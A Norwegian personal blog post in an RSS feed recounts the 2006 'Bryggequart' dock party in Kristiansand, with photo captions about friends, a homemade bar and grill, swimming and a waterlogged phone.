Bryggequart er Halvors legendariske årlige bryggefest han arrangerer hjemme hos seg i Kristiansand under qvartfestivalen. Skinnende sol, knallvarmt i lufta og nesten enda varmere i vannet gjorde dette til den beste sommerdag i år! Ca [...]]]></description>
			<content:encoded><![CDATA[<p><style> .padme{ border-style: dashed;  border-width: 1px;  padding: 2px;  margin-left: 4px; margin-top: 4px;  margin-right: 4px; border-color: black;} </style></p>
<table border="0">
<tr>
<td><a href="javascript:void(0)"><img align="left" class="padme" title="Image00107.sized.jpg" alt="Image00107.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00107_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00107.sized.jpg');"  / ></a>Bryggequart er Halvors legendariske årlige bryggefest han arrangerer hjemme hos seg i Kristiansand under qvartfestivalen. Skinnende sol, knallvarmt i lufta og nesten enda varmere i vannet gjorde dette til den beste sommerdag i år! Ca 15 av mine nærmeste venner og sikkert 80 ikke fullt så nærme venner gjorde kvelden til en kjempefest! Jeg Kenneth og Fredrik kom til Kristiansand på torsdag før festen, og fikk oss en forsmak på hvor fett sørlandet kan være om sommeren, men det var ikke før på lørdag at det virkelig brakte løs!</td>
</tr>
</table>
<p><a id="more-8"></a> </p>
<table border="0">
<tr>
<td><a href="javascript:void(0)"><img align="right" class="padme" alt="Image00095.sized.jpg" title="Image00095.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00095_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00095.sized.jpg');"  / ></a>Masse folk jeg kjente og enda fler jeg ikke kjente. Siden minst halvparten sov hos Halvor til dagen etter stoppet ikke festen før i 6-tiden, og da hadde vi holdt på siden kl 15 dagen før. ..Folk lå å sov overalt, på brygga, i uthuset, i båtene, i bilene og inne var lå det helt fullt. På bildet er <em>Marthe, Marte</em> og <em>Halvor</em> (verten) tidlig på kvelden.</td>
</tr>
<tr>
<td><a href="javascript:void(0)"><img align="left" class="padme" alt="Image00097.sized.jpg" title="Image00097.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00097_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00097.sized.jpg');"  / ></a>Jeg fikk mange nye venner denne helgen, deriblant Lise (meg venstre, Lise høyre). Vi satt i baksetet da vi kjørte hjem fra bryggequarten da hun kom med den beste kommentaren noen sinne: <strong>Lise:</strong> <em>Hvor langt er det igjen?</em> <strong>Jørn:</strong> <em>Ca 26 mil. </em><strong>Lise:</strong> <em>Hmm.. det blir jo &#8230; 3 mil!! </em>Jeg fikk også høre det når jeg stakk hodet ut av vinduet for å få litt vind i ansiktet, .. uten å åpne vinduet. Vi var temmelig bakfulle og overtrøtte.</td>
</tr>
<tr>
<td><a href="javascript:void(0)"><img align="right" class="padme" title="Image00113.sized.jpg" alt="Image00113.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00113_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00113.sized.jpg');"  / ></a> Vi var jo selvfølgelig ikke dårligere enn at vi bygde vår egen bar! Den ble fyldt opp med sprit for tre tusen og så mange ølkasser vi fikk plass til i en saab cab.</td>
</tr>
<tr>
<td>Vi brukte også noen timer på å <em>snekre</em> vår egen grill, den bestod av akselstøtter, planker, <a href="javascript:void(0)"><img align="left" class="padme" title="Image00132.sized.jpg" alt="Image00132.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00132_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00132.sized.jpg');"  / ></a>et lag med store steiner, aluminiumsfolie, grillkull og en rist av hønsenetting. Det var kanskje litt for mange kokker involvert i bygginga, men det må man regne med når NTNU folk lukter bygging. Grillen holdt nesten så lenge den skulle, men mot slutten tok hele shaiten fyr og raste sammen. Fremdeles gøy!</td>
</tr>
<tr>
<td>><a href="javascript:void(0)"><img align="right" title="Image00137.sized.jpg" class="padme" alt="Image00137.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00137_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image000137.sized.jpg');"  / ></a>Det fantes jo seff ikke et kjøleskap som var stort nok for all drikken vi trengte, så vi fylte en båt med vann fra en vannslange, samtidig som en annen slange sugde vann ut igjen. For å virkelig slå på stortromma kjøpte vi 20 kilo tørris på iskremfabrikken (som jo så klart var rett rundt hjørnet! Dette stedet er jo perfekt!) som vi slengte oppi. Det så skikkelig kult ut!</td>
</tr>
<tr>
<td><a href="javascript:void(0)"><img align="left" class="padme" alt="Image00085.sized.jpg" title="Image00085.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00085_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00085.sized.jpg');"  / ></a>Svaner ass, de kan du få billig av meg! Møkkadyr.</td>
</tr>
<tr>
<td><a href="javascript:void(0)"><img align="right" title="Image00150.sized.jpg" class="padme" alt="Image00150.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00150_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00150.sized.jpg');"  / ></a>Jeg tuller ikke når jeg påstår at det til tider kjentes varmere ut i vannet en lufta. Det var <strong>utrolig</strong> digg! Til høyre ser du Kenneth i en dristig salto.</td>
</tr>
<tr>
<td>Jeg klarte jo så klart å sette igang en lekeslosskamp med <a href="javascript:void(0)"><img align="left" title="Image00222.sized.jpg" class="padme" alt="Image00222.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00222_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00222.sized.jpg');"  / ></a>noen jeg ikke kjente fra før, og vi hvana jo seff i vannet begge to.. Det var lurt jørn, å ikke ta ut penger og mobil av lomma.. Jeg var tydligvis ute å bade litt seinere også, for morgenen etter fant Kenneth med fler bankkortet mitt, pengene mine, solbrillene og telefonen min pent line&#8217;a på brygga, de trodde jeg hadde dratt til sjøs. Mirakelet er jo at regnet som kom på natta vasket telefonen min så den begynte å fungere igjen. Vel, 8-tallet fungerer jo ikke, men det <em>skal</em> være sånn!<a onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00150.sized.jpg');" href="javascript:void(0)"> </a></td>
</tr>
<tr>
<td><a href="javascript:void(0)"><img align="right" class="padme" alt="Image00156.sized.jpg" title="Image00156.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00156_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00156.sized.jpg');"  / ></a>Marte og lise har det bra i sola.</td>
</tr>
<tr>
<td>Enda flere klassekamerater av meg, <a href="javascript:void(0)"><img align="left" class="padme" alt="Image00163.sized.jpg" title="Image00163.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00163_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00163.sized.jpg');"  / ></a>Hanne (som er lokal på sørlandet) og Marthe!</td>
</tr>
<tr>
<td>Joda, du ser rett! Fredrik har på seg playboy-sløyfa. <a href="javascript:void(0)"><img align="right" class="padme" alt="Image00174.sized.jpg" title="Image00174.sized.jpg" src="http://worldofvishnu.com/images/bryggequart/th/image00174_thumb.sized_thumb.jpg"onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00174.sized.jpg');"  / ></a>Han gikk faktisk på byen i Kristiansand på torsdagen, i baris med bare sløyfa og en svart bleser utenpå. Det ble mye &#8220;hvem <em>er </em>han raringen der egentlig?&#8221; utover kvelden..<a onclick="window.open('http://worldofvishnu.com/images/bryggequart/Image00174.sized.jpg');" href="javascript:void(0)"><br />
</a></td>
</tr>
<tr>
<td>Kenneth har lagt ut flere bilder <a href="http://folk.ntnu.no/kennetha/gallery/album19/"title="Bilder"  onclick="javascript:urchinTracker ('/outbound/article/folk.ntnu.no');">her</a>! Halvors offisielle BryggeQuartsider finner du <a href="http://folk.ntnu.no/gregusso/"title="BryggeQuart"  onclick="javascript:urchinTracker ('/outbound/article/folk.ntnu.no');">her</a>! Og til sist, det er IKKE tillatt å maile meg og kommentere skriveflei, det er nå seeent på kvelden og jeg er stuptrøtt!</td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/norske-sider/bryggequart-2006/feed/</wfw:commentRSS>
		</item>
	</channel>
</rss>
